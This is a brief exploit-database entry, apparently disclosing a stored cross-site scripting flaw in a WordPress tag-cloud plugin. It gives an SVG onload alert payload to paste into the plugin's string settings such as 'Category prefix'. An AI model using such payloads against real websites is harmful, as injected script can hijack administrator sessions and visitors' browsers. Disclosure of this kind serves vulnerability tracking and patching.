Share
## https://sploitus.com/exploit?id=WPEX-ID:CA684A25-28BA-4337-A6D4-9477B1643C9D
Put the following payload in any of the settings accepting a string (ie "This string in the page content will be replaced by the tag cloud", "Category prefix" etc): "><svg/onload=alert(/XSS/)>